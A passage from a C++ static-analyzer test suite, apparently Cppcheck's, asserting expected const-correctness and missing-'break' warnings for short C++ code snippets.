{\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n 